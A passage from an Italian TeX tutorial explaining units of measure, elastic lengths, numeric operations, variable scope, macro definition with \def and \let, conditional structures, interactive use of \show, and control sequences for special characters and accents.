
In particolare, il valore che precede l'unità di misura può contenere una virgola decimale, espressa attraverso il punto ('**.**').[1] Per esempio, per esprimere una lunghezza di 10 cm, si deve scrivere '**10cm**'.[2] Nell'esempio seguente si assegna alla variabile '**\distanza**' una lunghezza positiva di 4,5 mm:

```
\distanza=4.5mm
```

La parola chiave '**true**' consente di indicare una lunghezza che non può essere ingrandita o ridotta attraverso l'istruzione '**\magnification**', come viene descritto nella sezione 61.11.1. Pertanto, se nell'esempio precedente si vuole indicare una lunghezza positiva corrispondente esattamente a 4,5 mm, in ogni situazione, si deve scrivere così:

```
\distanza=4.5truemm
```

oppure anche in modo più leggibile:

```
\distanza=4.5 true mm
```

La rappresentazione interna delle lunghezze è di un solo tipo; in pratica, TeX converte sempre i valori nell'unità di misura più piccola che è in grado di gestire. L'unità di misura più piccola è definita *scaled point* ed è stata creata appositamente per TeX.

Tabella 61.49. Unità di misura secondo TeX.

Sigla	Denominazione	Corrispondenza	Annotazioni
`mm`	millimetro		
`cm`	centimetro		
`in`	pollice	2,54 cm	
`bp`	*big point*	0,3527777 mm 1/72 pollici	Il punto tipografico usato dal linguaggio PostScript.
`pt`	punto	0,3514598 mm 1/72,27 pollici	Punto tipografico usato negli Stati Uniti.
`dd`	punto didôt	0,376065 mm 1/67,54 pollici	Punto tipografico europeo.
`sp`	*scaled point*	1/65535 punti '**`pt`**'	L'unità di misura più piccola gestibile da TeX.
`pc`	pica	12 punti	
`em`	M	variabile	Quadratone, pari alla larghezza della lettera «M» maiuscola.
`ex`	x	variabile	Altezza della lettera «x» minuscola.
`mu`	*math unit*	18 quadratoni	

Si osservi che TeX non semplifica la tradizione tipografica, consentendo di utilizzare ben tre tipi diversi di punto tipografico. Il punto a cui si è abituati comunemente con i programmi di composizione, è quello corrispondente alla sigla '**`bp`**', ma TeX utilizza in modo predefinito l'unità '**`pt`**', la quale comunque non si discosta di molto.

61.3.5 Lunghezze elastiche

In varie situazioni, TeX è in grado di gestire delle lunghezze elastiche. Le variabili che contengono informazioni del genere sono in grado di annotare tre indicazioni distinte: la distanza normale, una tolleranza in più e una tolleranza in meno. Questo tipo di informazione si esprime secondo la forma seguente:

lunghezza_richiesta [`plus` ***lunghezza_in_estensione***] [`minus` ***lunghezza_in_contrazione***]

In pratica, è come dire che si fa riferimento a una certa lunghezza, a cui si può aggiungere quanto appare dopo la parola chiave '**`plus`**' e si può togliere quanto appare dopo '**`minus`**'. Come si può intuire, quando non si indicano i valori che danno elasticità, si sottintende in corrispondenza un valore zero.

L'elasticità fissata attraverso le parole chiave '**`plus`**' e '**`minus`**' non è tassativa. Di solito, il solo fatto che si consenta un'estensione, anche di un solo punto, fa sì che il salto sia allungabile in modo indefinito, in caso di necessità.

Eventualmente, si dichiara una variabile del genere con la forma seguente:

```
\newskip\nome
```

L'assegnamento, come si può intendere, ha la forma seguente:

```
\nome=lunghezza_elastica
```

Ovvero:

```
\nome=lunghezza [plus lunghezza] [minus lunghezza]
```

Le indicazioni sull'elasticità in estensione e in contrazione sono formate normalmente da lunghezze, come per esempio '**`plus 1pt`**', ma si possono usare anche delle definizioni astratte, rappresentate da tre parole chiave, precedute da un numero intero:

```
nfil
nfill
nfilll
```

Generalmente, il numero ***n*** è sempre 1 e va inteso come moltiplicatore della parola successiva; in pratica, '**`2fil`**' rappresenta un'elasticità doppia di '**`1fil`**'.

La parola chiave '**`fil`**' rappresenta un'elasticità di grado minimo, '**`fill`**' un'elasticità di grado medio e '**`filll`**' un'elasticità molto grande.

61.3.6 Operazioni con i valori numerici

La realizzazione di espressioni numeriche con TeX diventa abbastanza complicata. Si utilizzano fondamentalmente tre tipi di istruzione per modificare il valore di una variabile:

```
\advance\nome [by] valore
```

```
\multiply\nome [by] valore
```

```
\divide\nome [by] valore
```

In pratica, nel primo caso si incrementa la variabile del valore indicato (se il valore in questione è negativo, la variabile viene ridotta di conseguenza); nel secondo caso si assegna alla variabile il prodotto tra quanto contenuto prima per il valore indicato; nel terzo caso si divide il contenuto della variabile per il valore, assegnando alla stessa il risultato della divisione.

Come si può osservare, la parola chiave '**`by`**' è facoltativa e si può usare per facilitare la lettura umana dell'istruzione.

Il valore usato deve essere del tipo adatto alla variabile con cui si esegue l'operazione. Viene mostrato un esempio complessivo che dovrebbe essere comprensibile a sufficienza:

```
\countdef\pagina=0
\pagina=1
\newcount\contatore
\contatore=-7
\newdimen\lunghezza
\lunghezza=100pt
\newskip\elastico
\elastico=10pt plus 2pt minus 1pt
pagina = \the\pagina \par
contatore = \the\contatore \par
lunghezza = \the\lunghezza \par
elastico = \the\elastico \par
\multiply\pagina by 2
\advance\contatore by 1
\advance\lunghezza by 10pt
\advance\elastico by 5pt plus 3pt minus 2pt
pagina = \the\pagina \par
contatore = \the\contatore \par
lunghezza = \the\lunghezza \par
elastico = \the\elastico \par
\divide\lunghezza by 2
\divide\elastico by 2
lunghezza = \the\lunghezza \par
elastico = \the\elastico \par
```

pagina = 1
contatore = -7
lunghezza = 100.0pt
elastico = 10.0pt plus 2.0pt minus 1.0pt
pagina = 2
contatore = -6
lunghezza = 110.0pt
elastico = 15.0pt plus 5.0pt minus 3.0pt
lunghezza = 55.0pt
elastico = 7.5pt plus 2.5pt minus 1.5pt

Va tenuta in considerazione una scorciatoia importante per rappresentare il prodotto tra una costante numerica e il valore di una lunghezza; questa scorciatoia si usa di solito per gli assegnamenti:

n \ ***nome***

Qui il numero ***n*** non deve esprimere una lunghezza, pertanto non può contenere l'indicazione dell'unità di misura. Per esempio, se '**`\hsize`**' contiene la lunghezza 15 cm, con l'istruzione

seguente si assegna alla variabile '**\mezza**' la metà di questa lunghezza, ovvero 7,5 cm:

```
\mezza=0.5\hsize
```

Nell'esempio seguente si creano due variabili: una contiene una lunghezza e l'altra una lunghezza elastica. Dopo aver controllato il valore iniziale di queste, si riassegna loro la metà del loro valore di partenza, controllando successivamente il risultato ottenuto. Si può osservare che '**\elastico**' perde l'informazione sull'elasticità, diventando una lunghezza normale.

```
\newdimen\lunghezza
\lunghezza=100pt
\newskip\elastico
\elastico=10pt plus 2pt minus 1pt
lunghezza = \the\lunghezza \par
elastico = \the\elastico \par
\lunghezza=0.5\lunghezza
\elastico=0.5\elastico
lunghezza = \the\lunghezza \par
elastico = \the\elastico \par
```

lunghezza = 100.0pt
elastico = 10.0pt plus 2.0pt minus 1.0pt
lunghezza = 50.0pt
elastico = 5.0pt

61.3.7 Trasformazione in stringa di dati numerici

I dati numerici, quando devono essere convertiti in stringhe, possono essere rappresentati in forme differenti. La parola di controllo '**\the**' consente di ottenere una trasformazione «normale» di qualunque variabile in stringa:

```
\the\parola_di_controllo
```

Per esempio, se '**\lunghezza**' è stata dichiarata come lunghezza contenente il valore 10 cm, l'espansione di '**\the\lunghezza**' può generare la stringa '**284.45274pt**'.

Un valore numerico può essere trasformato in numero intero, ammesso che ciò abbia senso, con la parola di controllo '**\number**':

```
\number\parola_di_controllo
```

In questo caso, se si tenta di trasformare una lunghezza in numero, si ottiene la dimensione in punti *scaled point*; nel caso dell'esempio precedente, si otterrebbe la rappresentazione del valore 18646798, corrispondente ai 10 cm di prima espressi secondo l'unità di misura minima che TeX è in grado di gestire. Per quanto riguarda le lunghezze elastiche, non è possibile usare la trasformazione attraverso '**\number**'.

Quando il valore da trasformare è un intero positivo maggiore di zero, si può ottenere la rappresentazione in numero romano, con lettere minuscole, attraverso la parola di controllo '**\romannumeral**':

```
\romannumeral\parola_di_controllo
```

L'esempio seguente riepiloga l'uso delle forme di trasformazione dei dati numerici in stringa che sono appena state descritte:

```
\newdimen\lunghezza
\newcount\contatore
\newcount\pagina
\lunghezza=1cm
\contatore=-7
\pagina=123
lunghezza = \the\lunghezza\ = \number\lunghezza scaled point \par
contatore = \the\contatore\ = \number\contatore \par
pagina = \the\pagina\ = \number\pagina = \romannumeral\pagina \par
```

lunghezza = 28.45274pt = 1864679scaled point
contatore = -7 = -7
pagina = 123 = 123= cxxiii

61.3.8 Controllo del campo di azione delle variabili

Le parentesi graffe, oppure le parole di controllo '**\bgroup**' e '**\egroup**', servono a delimitare e isolare una zona rispetto al testo che si trova al loro esterno. Una dichiarazione o un assegnamento fatto all'interno di una zona delimitata da parentesi graffe ha effetto in quell'ambito e in tutte le altre zone che possono essere annidate al suo interno, mentre all'esterno non esiste più. Si osservi l'esempio seguente:

```
\newdimen\lunghezza
\newcount\contatore
\lunghezza=1cm
\contatore=7
{
    \lunghezza=10cm
    \contatore=14
    {
        \lunghezza=100cm
        \contatore=21
        lunghezza = \the\lunghezza{} contatore = \the\contatore \par
     }
    lunghezza = \the\lunghezza{} contatore = \the\contatore \par
}
lunghezza = \the\lunghezza{} contatore = \the\contatore
\bye
```

Si ottiene il testo che segue:

lunghezza = 2845.27559pt contatore = 21
lunghezza = 284.52756pt contatore = 14
lunghezza = 28.45274pt contatore = 7

Perché un assegnamento abbia valore in modo globale, si usa la parola di controllo '**`\global`**'. Si osservi l'esempio seguente:

```
\newdimen\lunghezza
\newcount\contatore
\lunghezza=1cm
\contatore=7
{
    \lunghezza=10cm
    \contatore=14
    {
        \global\lunghezza=100cm
        \contatore=21
        lunghezza = \the\lunghezza{} contatore = \the\contatore \par
     }
    lunghezza = \the\lunghezza{} contatore = \the\contatore \par
}
lunghezza = \the\lunghezza{} contatore = \the\contatore
\bye
```

In questo caso, la lunghezza appare essere sempre di 100 cm (2845,27559 punti normali), anche quando si ritorna al di fuori dei raggruppamenti. In pratica, si ottiene il testo che segue:

lunghezza = 2845.27559pt contatore = 21
lunghezza = 2845.27559pt contatore = 14
lunghezza = 2845.27559pt contatore = 7

61.3.9 Ordine nell'espansione delle sequenze di controllo

Esiste un problema con TeX, legato all'ordine in cui vengono espanse le parole di controllo. L'esempio più comune è dato dalla difficoltà con cui si riesce a trasformare un numero romano ottenuto da '**`\romannumeral`**' in maiuscolo. Per esempio,

```
\newcount\pagina
\pagina=4
\uppercase{\romannumeral\pagina}
```

genera solo:

iv

In pratica, '**`\uppercase`**' si trova a intervenire su una stringa che ancora non c'è, per cui non succede nulla. Per risolvere il problema si usa la parola di controllo '**`\expandafter`**' che anticipa l'esecuzione di ciò che segue:

```
\newcount\pagina
\pagina=4
\uppercase\expandafter{\romannumeral\pagina}
```

IV

Purtroppo il funzionamento di questa parola di controllo non è intuitivo e spesso si devono fare vari tentativi prima di riuscire a fare ciò che si intende.

61.4 Dichiarazione di macro-istruzioni[3]

Si può dare un nome a un'espressione stringa attraverso la sintassi seguente:

```
\def\nome{espressione_stringa}
```

Si osservi che, al contrario di altre situazioni, qui TeX richiede che la parentesi graffa aperta segua immediatamente il nome (o il simbolo dell'ultimo parametro, come viene descritto nel seguito), senza alcuna spaziatura intermedia.

Questo tipo di dichiarazione serve in generale per realizzare delle macro-istruzioni; tuttavia, utilizzandola solo così, si fa in modo di ottenere l'espansione di ciò che è contenuto fra le parentesi graffe nel momento in cui si inserisce nel testo l'istruzione '***nome***'. Si osservi l'esempio:

```
\def\eTeX{e-\TeX}

Bla bla bla bla \eTeX{} bla bla...
\bye
```

In questo caso si vuole dichiarare la parola di controllo '**\eTeX**', con cui diventa facile uniformare la scrittura di questo nome nel testo. Se ci fosse un ripensamento sulla forma da dare al nome, basterebbe modificare la sua dichiarazione iniziale.

Una macro del genere può essere modificata solo riassegnandole un altro valore, nello stesso modo usato per la sua dichiarazione iniziale.

È importante ricordare che in fase di composizione, le parole di controllo assorbono gli spazi alla loro destra, per cui è necessario usare una tecnica per evitarlo, come l'inserimento di un gruppo vuoto alla fine della stessa.

Nel momento in cui si utilizza una parola di controllo corrispondente a una macro-istruzione dichiarata in questo modo, si ottiene l'espansione del suo contenuto. In altri termini, la parola di controllo diventa una forma abbreviata per scrivere un testo più articolato, il quale può contenere a sua volta altre sequenze di controllo che vengono espanse solo all'ultimo momento. Si osservi l'esempio seguente:

```
\def\resistenza{\valore{} ohm \tolleranza{} \%}
\def\valore{100}
\def\tolleranza{5}
25 resistenze \resistenza \par
\def\valore{300}
\def\tolleranza{1}
```

```
30 resistenze \resistenza \par
\bye
```

Si ottiene un testo simile a quello seguente, con cui si comprende il fatto che le parole di controllo '**`\valore`**' e '**`\tolleranza`**' vengono espanse per ultime:

25 resistenze 100 ohm 5 %
30 resistenze 300 ohm 1 %

L'espansione di una parola di controllo del genere avviene in modo letterale, salvo naturalmente l'espansione successiva del suo contenuto, ma questo fatto significa che vengono riprodotte anche le interruzioni delle righe e gli spazi. Alle volte si preferisce strutturare il contenuto di una dichiarazione del genere, per cui si utilizzano dei commenti per evitare di dare un significato agli spazi che si inseriscono. Si osservi l'esempio precedente dopo una piccola modifica:

```
\def\resistenza{

\valore{} ohm \tolleranza{} \%}

\def\valore{100}
\def\tolleranza{5}
25 resistenze \resistenza \par
\def\valore{300}
\def\tolleranza{1}
30 resistenze \resistenza \par
\bye
```

In questo caso, ciò che si ottiene è diverso, perché la parola di controllo '**`\resistenza`**' si espande inserendo inizialmente una riga vuota, ovvero ciò che poi si traduce nell'inizio di un paragrafo nuovo:

25 resistenze
100 ohm 5 %
30 resistenze
300 ohm 1 %

Per evitare questo tipo di inconveniente, si può mettere un commento all'inizio della riga vuota, che così perde questa sua particolarità:

```
\def\resistenza{
%
\valore{} ohm \tolleranza{} \%}
```

Di solito, in queste situazioni si mette un commento anche dopo la parentesi graffa aperta:

```
\def\resistenza{%
%
\valore{} ohm \tolleranza{} \%}
```

Oltre a questo è da tenere in considerazione che nel momento dell'espansione, ciò che si ottiene non risulta contenuto in una zona separata; in altri termini, ciò che viene dichiarato o

modificato all'interno di questa definizione, continua a valere anche al di fuori. Eventualmente, se si intende che l'espansione debba generare una zona isolata, vanno usate le parentesi graffe come già mostrato. Per esempio:

```
\def\attenzione{{\bf ATTENZIONE!!!}}
```

In questo caso, l'istruzione '**`\bf`**' inizia la scrittura in neretto; così, la parola di controllo '**`\attenzione`**' permette di inserire la scritta che si vede, in neretto, senza interferire con il testo successivo.

Gli esempi usati fino a questo punto sono riconducibili all'idea di una funzione che non prevede parametri per la chiamata, ricevendo i dati attraverso variabili globali. Per dichiarare una macro-istruzione in grado di ricevere degli argomenti si usa una dichiarazione come quella seguente:

`\def\`***nome***`#1` [`#2`... [`#9`]] `{`***espressione_stringa***`}`

In una dichiarazione del genere si possono indicare un massimo di nove parametri (parametri formali, a cui si abbinano nella chiamata gli argomenti attuali), rappresentati da '**`#1`**', '**`#2`**',... '**`#9`**', che possono essere inseriti nella stringa contenuta tra le parentesi graffe. Volendo modificare l'esempio già visto, le cose si potrebbero semplificare nel modo seguente:

```
\def\resistenza#1#2{#1 ohm #2 \%}
25 resistenze \resistenza{100}{5} \par
30 resistenze \resistenza{300}{1}
\bye
```

Nella dichiarazione, i simboli '**`#`*n***' che si inseriscono all'interno del testo contenuto tra parentesi graffe possono essere indicati anche più volte, ottenendo sempre l'espansione del parametro ***n***-esimo corrispondente.

È ormai evidente il modo in cui deve essere usata la parola di controllo che può essere chiamata con dei parametri:

`\`***nome***`{`***parametro_1***`}` [`{`***parametro_2***`}` [...`{`***parametro_n***`}`]]

È importante sottolineare che, contrariamente a quanto si potrebbe immaginare, la stringa utilizzata come argomento della chiamata di una macro-istruzione non può essere separata in paragrafi.

Si osservi che molte macro-istruzioni predefinite di TeX isolano l'espressione stringa che restituiscono all'interno di un raggruppamento, in modo tale che ciò che si cambia al suo interno non si rifletta nel testo successivo. Di solito questo fatto è un comportamento «logico», o intuitivo, ma non si deve pensare che la definizione di una macro implichi automaticamente questa forma di isolamento. In pratica, il fatto di usare una parola di controllo del tipo '**`\`*nome*`{`*espressione*`}`**', non significa implicitamente che quanto inserito come argomento della chiamata non debba anche influenzare il testo successivo.

61.4.1 Chiamata di macro-istruzioni che richiedono l'indicazione di argomenti

È stata mostrata la sintassi per la chiamata di una macro-istruzione che richiede di fornire uno o più argomenti:

```
\nome{parametro_1} [{parametro_2} [...{parametro_n}]]
```

Tuttavia, si tratta di una semplificazione. Infatti, gli argomenti possono anche non essere racchiusi tra parentesi graffe, ma in tal caso, il primo argomento diventa il primo carattere che segue. Si osservi l'esempio seguente, in cui si dichiara una macro con tre parametri e poi la si chiama senza raggruppare gli argomenti:

```
\def\ciao#1#2#3{%
    Primo argomento della chiamata: #1\par
    Secondo argomento della chiamata: #2\par
    Terzo argomento della chiamata: #3\par
}

\ciao, come stai?
```

Primo argomento della chiamata: ,
Secondo argomento della chiamata: c
Terzo argomento della chiamata: o
me stai?

Nella sezione 61.10 viene mostrato l'uso di macro come '**\`**' che servono ad aggiungere un accento alla lettera successiva. Queste si usano solitamente senza circoscrivere la lettera che segue entro parentesi graffe.

61.5 Riferimenti ad altre parole o simboli di controllo

È possibile creare dei riferimenti a una parola o a un simbolo di controllo, usando la sintassi seguente:

```
\let\nome_nuovo=\nome
```

In pratica, in questo modo si crea una parola di controllo alternativa a un'altra già esistente: '***nome_nuovo***' può essere usato al posto di '***nome***'.[4] Si osservi l'esempio:

```
\newdimen\altezza
\altezza=10cm
\let\grandezza=\altezza
\altezza=20cm
La scatola ha una grandezza di \the\grandezza.
\bye
```

Si ottiene in pratica il testo

La scatola ha una grandezza di 569.05511pt.

dove 569,055 11 punti corrispondono esattamente a 20 cm, ovvero l'ultimo valore assegnato alla lunghezza '**\altezza**', a cui punta anche '**\grandezza**'.

Tuttavia, se si fa un esperimento simile con una parola di controllo corrispondente a una macro-istruzione definita con l'istruzione '**\def**', il riferimento che si genera con l'istruzione '**\let**' è quello che punta alla macro-istruzione di quel momento, mentre una ridefinizione della parola di controllo di partenza non si riflette nel riferimento:

```
\def\resistenza#1#2{#1 ohm #2 \%}
\let\prova=\resistenza
25 resistenze \resistenza{100}{5}

25 resistenze \prova{100}{5}

\def\resistenza#1#2{#2 ohm #1 \%}
30 resistenze \resistenza{300}{1}

30 resistenze \prova{300}{1}
\bye
```

Quello che si ottiene dalla composizione di questo esempio è il testo seguente:

25 resistenze 100 ohm 5 %
25 resistenze 100 ohm 5 %
30 resistenze 1 ohm 300 %
30 resistenze 300 ohm 1 %

61.6 Testo normale e ambienti matematici

Una caratteristica molto importante di TeX è la distinzione tra due modalità di funzionamento. In pratica, si distingue un contesto «normale» da un contesto matematico. L'ambiente matematico si introduce e si conclude con il simbolo '**$**' e in tale situazione diventano disponibili delle istruzioni che non si possono utilizzare al di fuori di questo ambito, mentre alcune istruzioni dell'ambiente normale non lo sono più.

Per esempio, alcuni caratteri esistono solo nell'ambiente matematico; è già stato visto in che modo vanno indicate le parentesi graffe quando si scrive in un ambito normale, attraverso le istruzioni '**$\{$**' e '**$\}$**'. In pratica, il dollaro iniziale e finale di queste istruzioni serve ad aprire e a chiudere l'ambiente matematico.

61.7 Modalità orizzontale e modalità verticale

Nel suo lavoro di composizione, TeX distingue due situazioni, definite come ***modalità orizzontale*** e ***modalità verticale***. Per comprendere la differenza tra queste due situazioni, occorre pensare alla struttura di ciò che si inserisce in una pagina.

Ogni oggetto che viene inserito in una pagina è una scatola, con le sue dimensioni. Queste scatole si inseriscono a loro volta all'interno di altre; per esempio, una lettera è una scatola che si inserisce in una riga, ovvero un'altra scatola, che a sua volta si inserisce in un paragrafo, ovvero ancora un'altra scatola, ecc.

In base al contesto, orizzontale o verticale, TeX si occupa di inserire spazi orizzontali o verticali: tra le lettere di una parola, tra le parole, tra le righe, tra i paragrafi, ecc.

Quello che conta comprendere di tutto questo è che alcune istruzioni possono essere inserite solo in modalità orizzontale, altre solo in modalità verticale. Volendo sperimentare se un certo contesto si trovi in modalità orizzontale o verticale, si può realizzare la macro seguente e collocarla nel testo dove si ritiene opportuno; nella composizione finale si ottiene alternativamente la frase «modalità orizzontale», oppure «modalità verticale»:

```
\def\verificamodo{%
\ifvmode
    modalit\'a verticale
\else
    modalit\'a orizzontale
\fi}
```

Nella sezione 61.8 viene spiegato l'uso dell'istruzione '**`\ifvmode`**'.

61.8 Strutture di controllo

Il linguaggio di TeX possiede una serie di strutture di controllo condizionali, in cui parte della condizione è implicita nel nome dell'istruzione con cui la si introduce. Questo insieme di strutture ha una sintassi comune riconducibile alla semplificazione seguente:

```
\ifnome_condizione [argomento]
    testo_e_altre_istruzioni_se_vero
\else
    testo_e_altre_istruzioni_se_falso
\fi
```

Spesso, per completare la struttura anche quando una delle due ipotesi non deve generare alcun risultato, si utilizza l'istruzione '**`\relax`**', la quale rappresenta proprio l'operazione nulla.

Nelle sezioni seguenti vengono descritte solo le strutture condizionali più comuni.

61.8.1 Istruzione «\ifodd»

È possibile verificare se un numero intero è dispari o pari con la struttura seguente:

```
\ifodd n
    testo_e_altre_istruzioni_se_dispari
\else
    testo_e_altre_istruzioni_se_pari
\fi
```

Di solito, al posto del numero ***n*** si inserisce l'istruzione '**`\pageno`**' che restituisce il numero della pagina corrente, permettendo così di verificare se la pagina è dispari o pari:

```
\ifodd \pageno
    testo_e_altre_istruzioni_se_pagina_dispari
\else
    testo_e_altre_istruzioni_se_pagina_pari
\fi
```

61.8.2 Istruzione «\ifmmode»

È possibile verificare se ci si trova in modalità normale o in modalità matematica con la struttura seguente:

```
\ifmmode
    testo_e_altre_istruzioni_se_modalità_matematica
\else
    testo_e_altre_istruzioni_se_modalità_normale
\fi
```

61.8.3 Istruzione «\ifnum»

È possibile mettere a confronto due numeri con la struttura seguente:

```
\ifnum m=|>|<n
    testo_e_altre_istruzioni_se_confronto_valido
\else
    testo_e_altre_istruzioni_se_confronto_non_valido
\fi
```

In pratica, il confronto può avvenire solo con gli operatori ‘**=**’, ‘**>**’ e ‘**<**’, per indicare rispettivamente se i due valori sono uguali, se il primo è maggiore del secondo oppure se il primo è minore del secondo.

61.8.4 Istruzioni «\ifhmode» e «\ifvmode»

È possibile verificare se la composizione si trova in modalità orizzontale o verticale con una delle due strutture seguenti:

```
\ifhmode
    testo_e_altre_istruzioni_se_modalità_orizzontale
\else
    testo_e_altre_istruzioni_se_modalità_verticale
\fi
```

```
\ifvmode
    testo_e_altre_istruzioni_se_modalità_verticale
\else
    testo_e_altre_istruzioni_se_modalità_orizzontale
\fi
```

61.9 Verifica del significato di un'istruzione elementare

Per TeX, un'istruzione elementare può essere il singolo carattere di una parola, oppure una sequenza di controllo. Volendo comprendere il senso di qualcosa, si può verificare come intenda TeX questa o quell'istruzione. Per questo, occorre avviare la composizione indicando un file vuoto; per esempio, in un sistema Unix si potrebbe fare così:

$ **tex /dev/null** [*Invio*]

```
This is TeX, Version 3.14159 (Web2C 7.3.1)
(/dev/null)
*
```

A questo punto, dall'invito, si può usare l'istruzione '**\show**' nel modo seguente:

```
\show istruzione_elementare
```

Per esempio, ci si può domandare se il carattere '**@**' abbia un significato particolare:

***\show @** [*Invio*]

```
> the character @.
<*> \show @

?
```

A questo punto, la composizione si ferma in attesa di altre indicazioni, mostrando un invito differente. Questo permette di comprendere anche che non conviene usare '**\show**' in un file normale del quale si vuole ottenere la composizione, perché in quel punto ci sarebbe una sospensione con richiesta di intervento. A ogni modo, per proseguire basta premere [*Invio*], quindi si può chiedere di conoscere qualcosa di diverso:

?[*Invio*]

***\show \TeX** [*Invio*]

In questo caso si vuole conoscere in cosa consiste la macro '**\TeX**' ed ecco il risultato che si ottiene:

```
> \TeX=macro:
->T\kern -.1667em\lower .5ex\hbox {E}\kern -.125emX.
<*> \show \TeX

?
```

Pertanto, questo significa che '**\TeX**' è definita come:

```
\def\TeX{T\kern -.1667em\lower .5ex\hbox {E}\kern -.125emX}
```

Per completare l'esempio, conviene vedere come appare una macro che prevede l'indicazione di un parametro, come nel caso di '**\`**', che serve a mettere un accento grave su una lettera:

?[*Invio*]

***\show \`** [*Invio*]

```
> \`=macro:
#1->{\accent 18 #1}.
<*> \show \`

?
```

In pratica, la definizione originale è la seguente:

```
\def\`#1{{\accent 18 #1}}
```

Per terminare l'uso interattivo basta inserire alla fine l'istruzione '**\bye**':

?[*Invio*]

***\bye** [*Invio*]

```
No pages of output.
Transcript written on null.log.
```

61.10 Caratteri

In condizioni normali, il testo scritto nel sorgente viene riprodotto nello stesso modo nella composizione finale, dopo essere stato reimpaginato opportunamente. Tuttavia, alcuni simboli hanno significati speciali, per cui si devono usare simboli di controllo al loro posto, inoltre le lettere accentate e altri caratteri che non fanno parte dell'ASCII standard non possono essere usati direttamente, per cui servono altri simboli o parole di controllo per generarli.

A fianco di questo problema, nasce poi l'esigenza di poter scrivere utilizzando stili, forme e corpi differenti.

61.10.1 Caratteri speciali

Come è descritto nella tabella 61.34, alcuni caratteri hanno un significato speciale e non producono il simbolo corrispondente in fase di composizione. Per porre rimedio a questo problema e alla mancanza di altri caratteri, si usano generalmente delle sequenze di controllo. Tuttavia, dal momento che si distinguono due contesti di composizione differenti (quello normale e quello matematico), certi caratteri o certe sequenze di controllo esistono solo nella modalità matematica.

In generale, salvo altra indicazione, si fa sempre riferimento alla modalità di composizione normale, per cui un carattere o una sequenza di controllo che può apparire solo in modalità matematica, viene mostrata generalmente delimitandola tra due simboli ‘`$`’. Per esempio, quando si afferma che le parentesi graffe si ottengono con le istruzioni ‘`$\{$`’ e ‘`$\}$`’, è chiaro che in modalità matematica non serve più la delimitazione con i simboli ‘`$`’.

La tabella 61.88 riepiloga le sequenze di controllo per i caratteri speciali disponibili.[5]

Tabella 61.88. Elenco delle sequenze di controllo necessarie a ottenere i caratteri speciali che non richiedono la sovrapposizione di accenti.

Simbolo	Codice	Simbolo	Codice
\	\$backslash$	{	$\{$
}	$\}$	$	\$
&	\&	#	\#
^	\^{}	_	_
%	\%	~	\~{}
<	$<$	>	$>$
œ	\oe	Œ	\OE
æ	\ae	Æ	\AE
å	\aa	Å	\AA
ø	\o	Ø	\O
ł	\l	Ł	\L
ß	\ss	ı	\i
ȷ	\j	¡	!`
¿	?`	†	\dag
‡	\ddag	§	\S
¶	\P	£	{\it\$}
©	\copyright	...	\dots
TEX	\TeX		

61.10.2 Accenti

TeX ha la capacità di collocare un accento sopra ogni simbolo, anche se ciò che si ottiene può non avere senso per qualunque lingua. Questa apposizione di accenti si ottiene con sequenze di controllo che precedono la lettera da accentare. Quando si tratta di simboli di controllo, la lettera successiva può essere unita alla sequenza, mentre quando si tratta di parole di controllo occorre lasciare uno spazio di sicurezza. Per esempio, si scrive ‘`` \`o ``’ per ottenere la lettera «ò», mentre si scrive ‘`\c c`’ per ottenere la lettera ‘ç’.[6] La tabella 61.89 riepiloga le sequenze di controllo necessarie a ottenere tutti gli accenti disponibili, usando la lettera «o» come esempio.

Tabella 61.89. Elenco delle sequenze di controllo necessarie a ottenere le lettere accentate.

Simbolo	Codice	Simbolo	Codice
ò	\`o	ó	\'o
ô	\^o	ö	\"o
õ	\~o	ō	\=o
ȯ	\.o	ŏ	\u o
ǒ	\v o	ő	\H o
o͡o	\t oo	o̧	\c o
ọ	\d o	o̲	\b o

Il fatto che TeX aggiunga l'accento sopra un simbolo, significa che occorre poi provvedere a eliminare il puntino sopra le lettere «i» e «j» minuscole. Pertanto, per scrivere la lettera «ì», occorre usare l'istruzione '\`\i'.

61.10.3 Apici, trattini e legati automatici

TeX ha una gestione estetica particolare per alcuni caratteri. Purtroppo mette a disposizione solo virgolette alte, che vanno usate opportunamente a coppia, nella forma ‘`*testo*'’ e ‘``*testo*''’. Si osservi l'esempio seguente e in che modo TeX lo traduce tipograficamente:

```
"virgolette doppie normali" \par
`virgolette singole, aperte e chiuse' \par
``virgolette doppie, aperte e chiuse'' \par
```

”virgolette doppie normali”
‘virgolette singole, aperte e chiuse’
“virgolette doppie, aperte e chiuse”

Evidentemente, è bene non usare le virgolette doppie normali ('"'), a meno che ci sia una ragione precisa per farlo.

TeX è in grado di gestire tre lunghezze differenti per il trattino o la lineetta orizzontale.[7] Questi si ottengono con il trattino normale, ovvero il segno meno, usato ripetutamente. In pratica, '-' genera un trattino corto; '--' genera un trattino medio e '---' genera un trattino lungo. Questo tipo di automatismo può creare dei problemi quando il trattino deve assumere proprio il significato di un segno meno e non è molto bella l'idea di usare due trattini per ottenere una lineetta media. In questo caso, si usa preferibilmente la sequenza '$-$', dal momento che nella modalità matematica questo comportamento non ha luogo. Si osservi l'esempio:

```
Trattino corto: - \par
Trattino medio: -- \par
Trattino lungo: --- \par
Segno meno: $-$ \par
```

Trattino corto: -
Trattino medio: –
Trattino lungo: —
Segno meno: −

Per motivi estetici, la tradizione tipografica richiede che alcuni accoppiamenti di lettere vengano legati assieme. Si tratta dell'unione della lettera «f» con «i», «l» e «f». TeX rispetta questa tradizione, ma solo nella modalità normale, perché in modalità matematica le esigenze sono differenti. Si osservi l'esempio:

```
ff fi fl ffi ffl \par
$ff fi fl ffi ffl$ \par
```

ﬀ ﬁ ﬂ ﬃ ﬄ
$ff fi fl ffi ffl$

61.10.4 Istruzioni alternative per generare simboli particolari

Alcune tastiere non consentono di utilizzare facilmente dei simboli che per TeX sono invece importanti. In particolare, ci possono essere difficoltà a ottenere un apostrofo corrispondente all'accento grave. Quando l'intento è solo quello di scrivere degli apici, singoli o doppi, si possono usare le parole di controllo '**`\lq`**' e '**`\rq`**' per aprire e chiudere rispettivamente. Per esempio,

```
\lq\lq ciao\rq\rq
```

racchiude tra apici doppi la parola «ciao». Tuttavia, questo sistema non può sostituire i simboli di controllo usati per ottenere l'accento grave e acuto. Per ovviare all'inconveniente, si può leggere il codice delle macro-istruzioni standard di TeX per scopre un metodo alternativo, oppure si può usare l'istruzione '**`\show`**' in modalità interattiva:

```
\def\`#1{{\accent18 #1}}
\def\'#1{{\accent19 #1}}
\def\v#1{{\accent20 #1}}
\def\u#1{{\accent21 #1}}
\def\=#1{{\accent22 #1}}
\def\^#1{{\accent94 #1}}
\def\.#1{{\accent95 #1}}
\def\H#1{{\accent"7D #1}}
\def\~#1{{\accent"7E #1}}
\def\"#1{{\accent"7F #1}}
```

